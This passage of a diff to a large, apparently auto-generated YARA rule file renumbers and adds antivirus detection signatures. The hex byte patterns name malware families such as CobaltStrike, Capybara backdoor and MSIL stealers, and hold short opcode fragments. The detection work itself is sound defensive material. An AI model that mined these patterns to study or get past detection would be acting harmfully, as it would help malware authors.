1)*1) >=1 } -rule _InfrastructureShared_4737{ +rule _InfrastructureShared_4936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -48998,7 +51046,7 @@ rule _InfrastructureShared_4737{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1) >=1 } -rule _InfrastructureShared_4738{ +rule _InfrastructureShared_4937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -49009,7 +51057,7 @@ rule _InfrastructureShared_4738{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1) >=1 } -rule _InfrastructureShared_4739{ +rule _InfrastructureShared_4938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -49020,7 +51068,7 @@ rule _InfrastructureShared_4739{ ((#a_4c_0 & 1)*21539+(#a_7a_1 & 1)*25188) >=1 } -rule _InfrastructureShared_4740{ +rule _InfrastructureShared_4939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -49031,7 +51079,7 @@ rule _InfrastructureShared_4740{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*11880) >=1 } -rule _InfrastructureShared_4741{ +rule _InfrastructureShared_4940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -49043,7 +51091,7 @@ rule _InfrastructureShared_4741{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2+(#a_4c_2 & 1)*8993) >=1 } -rule _InfrastructureShared_4742{ +rule _InfrastructureShared_4941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -49053,7 +51101,7 @@ rule _InfrastructureShared_4742{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4743{ +rule _InfrastructureShared_4942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -49063,7 +51111,27 @@ rule _InfrastructureShared_4743{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4744{ +rule _InfrastructureShared_4943{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 53 4c 50 21 4d 54 42 00 02 00 2f 03 16 6f 15 00 00 0a 25 6f 16 00 00 0a 26 25 6f 17 00 00 0a 72 11 00 00 70 6f 18 00 00 0a 25 6f 17 00 00 0a 72 90 01 03 70 6f 18 00 00 0a 90 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_4944{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 45 42 56 4c 21 4d 54 42 00 02 00 26 03 48 8b 3c 24 48 83 ec 90 01 01 81 6f 90 01 05 f7 57 90 01 01 eb 00 eb 01 90 01 01 81 77 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49073,7 +51141,7 @@ rule _InfrastructureShared_4744{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4745{ +rule _InfrastructureShared_4946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49083,7 +51151,7 @@ rule _InfrastructureShared_4745{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4746{ +rule _InfrastructureShared_4947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49093,7 +51161,7 @@ rule _InfrastructureShared_4746{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4747{ +rule _InfrastructureShared_4948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49104,7 +51172,7 @@ rule _InfrastructureShared_4747{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4748{ +rule _InfrastructureShared_4949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49115,7 +51183,7 @@ rule _InfrastructureShared_4748{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4749{ +rule _InfrastructureShared_4950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49126,7 +51194,7 @@ rule _InfrastructureShared_4749{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4750{ +rule _InfrastructureShared_4951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49137,7 +51205,7 @@ rule _InfrastructureShared_4750{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4751{ +rule _InfrastructureShared_4952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49148,7 +51216,7 @@ rule _InfrastructureShared_4751{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4752{ +rule _InfrastructureShared_4953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49159,7 +51227,7 @@ rule _InfrastructureShared_4752{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4753{ +rule _InfrastructureShared_4954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49170,7 +51238,7 @@ rule _InfrastructureShared_4753{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4754{ +rule _InfrastructureShared_4955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -49181,29 +51249,18 @@ rule _InfrastructureShared_4754{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4755{ +rule _InfrastructureShared_4956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 50 61 74 63 68 6c 6f 61 64 2e 4f 00 01 00 11 01 64 a1 30 00 00 00 8b 40 0c 8b 40 1c 8b 00 8b 40 08 01 00 1b 03 8a 0e 84 c9 74 90 01 01 8d 56 06 52 ff d7 90 90 83 c6 90 01 01 90 90 eb ed 90 00 00 00 78 5b 00 00 } //18467 - $a_00_1 = {02 00 } //2 + $a_00_1 = {03 00 } //2 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_4756{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 48 4e 41 21 4d 54 42 00 01 00 1e 03 53 74 65 61 6c 65 72 00 00 90 01 02 00 00 00 00 90 01 04 43 6f 70 79 72 69 67 68 74 90 00 01 00 0b 01 53 74 65 } //21539 - $a_72_1 = {65 78 65 00 00 78 5b 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 70 6c 61 74 4c 6f 61 64 65 72 2e 46 21 64 68 61 00 01 00 09 01 47 65 74 73 50 72 69 6e 74 01 00 0a 01 47 65 74 73 50 72 69 6e 74 57 01 00 0f 01 47 65 74 57 69 6e 64 6f 77 53 69 7a 65 64 57 00 00 78 } //27745 - condition: - ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*27745) >=2 - -} -rule _InfrastructureShared_4757{ +rule _InfrastructureShared_4957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -49214,7 +51271,7 @@ rule _InfrastructureShared_4757{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=2 } -rule _InfrastructureShared_4758{ +rule _InfrastructureShared_4958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -49225,7 +51282,7 @@ rule _InfrastructureShared_4758{ ((#a_77_0 & 1)*19491+(#a_73_1 & 1)*12082) >=2 } -rule _InfrastructureShared_4759{ +rule _InfrastructureShared_4959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -49236,7 +51293,7 @@ rule _InfrastructureShared_4759{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_4760{ +rule _InfrastructureShared_4960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -49248,19 +51305,30 @@ rule _InfrastructureShared_4760{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*3+(#a_54_2 & 1)*18467) >=3 } -rule _InfrastructureShared_4761{ +rule _InfrastructureShared_4961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 4c 47 31 32 33 21 4d 54 42 00 01 00 0b 81 01 75 64 73 74 74 65 6c 73 65 72 73 01 00 09 81 01 73 61 67 6e 61 67 74 69 67 01 00 0e 81 01 70 61 6e 74 65 68 66 74 65 6c 73 65 6e 73 00 00 78 5b 00 00 } //18467 $a_00_1 = {03 00 21 } //3 - $a_4c_2 = {57 69 6e 33 32 2f 4b 65 72 62 72 75 74 65 2e 41 00 01 00 08 01 6b 65 72 62 72 75 74 65 01 00 1b 01 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 63 6d 74 75 72 6e 65 72 2f 67 6f 66 6f 72 6b 01 00 0d 01 63 6f 62 72 61 } //21539 + $a_46_2 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 43 61 70 79 62 61 72 61 2e 42 00 01 00 10 03 02 00 48 b8 90 01 08 48 03 90 02 1e ff d0 90 00 01 00 0a 01 0d 20 20 20 20 3d 6e 74 64 6c 01 00 0d 01 8b 40 04 0d 20 20 20 20 3d 6c 2e 64 } //21283 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*3+(#a_4c_2 & 1)*21539) >=3 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*3+(#a_46_2 & 1)*21283) >=3 } -rule _InfrastructureShared_4762{ +rule _InfrastructureShared_4962{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 43 61 70 79 62 61 72 61 2e 42 00 01 00 10 03 02 00 48 b8 90 01 08 48 03 90 02 1e ff d0 90 00 01 00 0a 01 0d 20 20 20 20 3d 6e 74 64 6c 01 00 0d 01 8b 40 04 0d 20 20 20 20 3d 6c 2e 64 } //21283 + $a_00_2 = {03 00 03 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*0) >=3 + +} +rule _InfrastructureShared_4963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -49272,7 +51340,7 @@ rule _InfrastructureShared_4762{ ((#a_4c_0 & 1)*21539+(#a_6d_1 & 1)*17198+(#a_54_2 & 1)*18467) >=3 } -rule _InfrastructureShared_4763{ +rule _InfrastructureShared_4964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -49282,7 +51350,7 @@ rule _InfrastructureShared_4763{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_4764{ +rule _InfrastructureShared_4965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -49295,7 +51363,7 @@ rule _InfrastructureShared_4764{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*4+(#a_52_2 & 1)*21320+(#a_00_3 & 1)*5) >=4 } -rule _InfrastructureShared_4765{ +rule _InfrastructureShared_4966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -49308,7 +51376,7 @@ rule _InfrastructureShared_4765{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*5+(#a_54_2 & 1)*17996+(#a_90_3 & 1)*2) >=4 } -rule _InfrastructureShared_4766{ +rule _InfrastructureShared_4967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -49318,7 +51386,7 @@ rule _InfrastructureShared_4766{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_4767{ +rule _InfrastructureShared_4968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -49328,7 +51396,7 @@ rule _InfrastructureShared_4767{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_4768{ +rule _InfrastructureShared_4969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -49338,7 +51406,7 @@ rule _InfrastructureShared_4768{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_4769{ +rule _InfrastructureShared_4970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -49348,7 +51416,7 @@ rule _InfrastructureShared_4769{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_4770{ +rule _InfrastructureShared_4971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -49364,7 +51432,7 @@ rule _InfrastructureShared_4770{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_3a_3 & 1)*19521+(#a_70_4 & 1)*18246+(#a_21_5 & 1)*13107+(#a_00_6 & 1)*10+(#a_6e_7 & 1)*27247) >=5 } -rule _InfrastructureShared_4771{ +rule _InfrastructureShared_4972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -49374,7 +51442,7 @@ rule _InfrastructureShared_4771{ ((#a_46_0 & 1)*16675) >=6 } -rule _InfrastructureShared_4772{ +rule _InfrastructureShared_4973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -49384,7 +51452,7 @@ rule _InfrastructureShared_4772{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4773{ +rule _InfrastructureShared_4974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -49394,7 +51462,7 @@ rule _InfrastructureShared_4773{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_4774{ +rule _InfrastructureShared_4975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -49404,7 +51472,7 @@ rule _InfrastructureShared_4774{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_4775{ +rule _InfrastructureShared_4976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -49414,7 +51482,7 @@ rule _InfrastructureShared_4775{ ((#a_46_0 & 1)*16675) >=20 } -rule _InfrastructureShared_4776{ +rule _InfrastructureShared_4977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -49426,7 +51494,7 @@ rule _InfrastructureShared_4776{ ((#a_4e_0 & 1)*20259+(#a_67_1 & 1)*11521+(#a_3a_2 & 1)*21587) >=30 } -rule _InfrastructureShared_4777{ +rule _InfrastructureShared_4978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -49436,7 +51504,7 @@ rule _InfrastructureShared_4777{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4778{ +rule _InfrastructureShared_4979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -49447,7 +51515,7 @@ rule _InfrastructureShared_4778{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*200) >=100 } -rule _InfrastructureShared_4779{ +rule _InfrastructureShared_4980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -49457,7 +51525,7 @@ rule _InfrastructureShared_4779{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_4780{ +rule _InfrastructureShared_4981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -49467,7 +51535,7 @@ rule _InfrastructureShared_4780{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_4781{ +rule _InfrastructureShared_4982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49477,7 +51545,7 @@ rule _InfrastructureShared_4781{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4782{ +rule _InfrastructureShared_4983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49487,7 +51555,7 @@ rule _InfrastructureShared_4782{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4783{ +rule _InfrastructureShared_4984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49497,7 +51565,7 @@ rule _InfrastructureShared_4783{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4784{ +rule _InfrastructureShared_4985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49507,7 +51575,17 @@ rule _InfrastructureShared_4784{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4785{ +rule _InfrastructureShared_4986{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6c 6f 6f 6d 46 6f 72 6b 2e 41 21 64 68 61 00 01 00 2d 03 5b 6f 70 65 6e 43 6f 6e 66 69 67 46 72 6f 90 01 01 53 65 63 74 69 6f 6e 5d 20 70 61 79 6c 90 01 01 61 64 53 69 7a 65 20 74 6f 6f } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_4987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49517,7 +51595,7 @@ rule _InfrastructureShared_4785{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4786{ +rule _InfrastructureShared_4988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49527,7 +51605,7 @@ rule _InfrastructureShared_4786{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4787{ +rule _InfrastructureShared_4989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49537,7 +51615,7 @@ rule _InfrastructureShared_4787{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4788{ +rule _InfrastructureShared_4990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49547,7 +51625,7 @@ rule _InfrastructureShared_4788{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4789{ +rule _InfrastructureShared_4991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49557,7 +51635,7 @@ rule _InfrastructureShared_4789{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4790{ +rule _InfrastructureShared_4992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49567,7 +51645,7 @@ rule _InfrastructureShared_4790{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4791{ +rule _InfrastructureShared_4993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49577,7 +51655,7 @@ rule _InfrastructureShared_4791{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4792{ +rule _InfrastructureShared_4994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49587,7 +51665,7 @@ rule _InfrastructureShared_4792{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4793{ +rule _InfrastructureShared_4995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49597,7 +51675,7 @@ rule _InfrastructureShared_4793{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4794{ +rule _InfrastructureShared_4996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49607,7 +51685,7 @@ rule _InfrastructureShared_4794{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4795{ +rule _InfrastructureShared_4997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49617,7 +51695,7 @@ rule _InfrastructureShared_4795{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4796{ +rule _InfrastructureShared_4998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49627,7 +51705,7 @@ rule _InfrastructureShared_4796{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4797{ +rule _InfrastructureShared_4999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49637,7 +51715,7 @@ rule _InfrastructureShared_4797{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4798{ +rule _InfrastructureShared_5000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49647,7 +51725,7 @@ rule _InfrastructureShared_4798{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4799{ +rule _InfrastructureShared_5001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49657,7 +51735,7 @@ rule _InfrastructureShared_4799{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4800{ +rule _InfrastructureShared_5002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49667,7 +51745,7 @@ rule _InfrastructureShared_4800{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4801{ +rule _InfrastructureShared_5003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49677,7 +51755,7 @@ rule _InfrastructureShared_4801{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4802{ +rule _InfrastructureShared_5004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49687,7 +51765,7 @@ rule _InfrastructureShared_4802{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4803{ +rule _InfrastructureShared_5005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49697,7 +51775,7 @@ rule _InfrastructureShared_4803{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4804{ +rule _InfrastructureShared_5006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49707,7 +51785,7 @@ rule _InfrastructureShared_4804{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4805{ +rule _InfrastructureShared_5007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49717,7 +51795,7 @@ rule _InfrastructureShared_4805{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4806{ +rule _InfrastructureShared_5008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49727,7 +51805,7 @@ rule _InfrastructureShared_4806{ ((#a_63_0 & 1)*16931) >=1 } -rule _InfrastructureShared_4807{ +rule _InfrastructureShared_5009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49737,7 +51815,7 @@ rule _InfrastructureShared_4807{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4808{ +rule _InfrastructureShared_5010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49747,7 +51825,7 @@ rule _InfrastructureShared_4808{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4809{ +rule _InfrastructureShared_5011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49757,7 +51835,7 @@ rule _InfrastructureShared_4809{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4810{ +rule _InfrastructureShared_5012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49767,7 +51845,7 @@ rule _InfrastructureShared_4810{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4811{ +rule _InfrastructureShared_5013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49777,7 +51855,7 @@ rule _InfrastructureShared_4811{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4812{ +rule _InfrastructureShared_5014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49787,7 +51865,7 @@ rule _InfrastructureShared_4812{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4813{ +rule _InfrastructureShared_5015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49797,7 +51875,7 @@ rule _InfrastructureShared_4813{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4814{ +rule _InfrastructureShared_5016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49807,7 +51885,7 @@ rule _InfrastructureShared_4814{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4815{ +rule _InfrastructureShared_5017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49817,7 +51895,7 @@ rule _InfrastructureShared_4815{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4816{ +rule _InfrastructureShared_5018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49827,7 +51905,7 @@ rule _InfrastructureShared_4816{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4817{ +rule _InfrastructureShared_5019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49837,7 +51915,7 @@ rule _InfrastructureShared_4817{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4818{ +rule _InfrastructureShared_5020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -49847,7 +51925,7 @@ rule _InfrastructureShared_4818{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4819{ +rule _InfrastructureShared_5021{ meta: description = 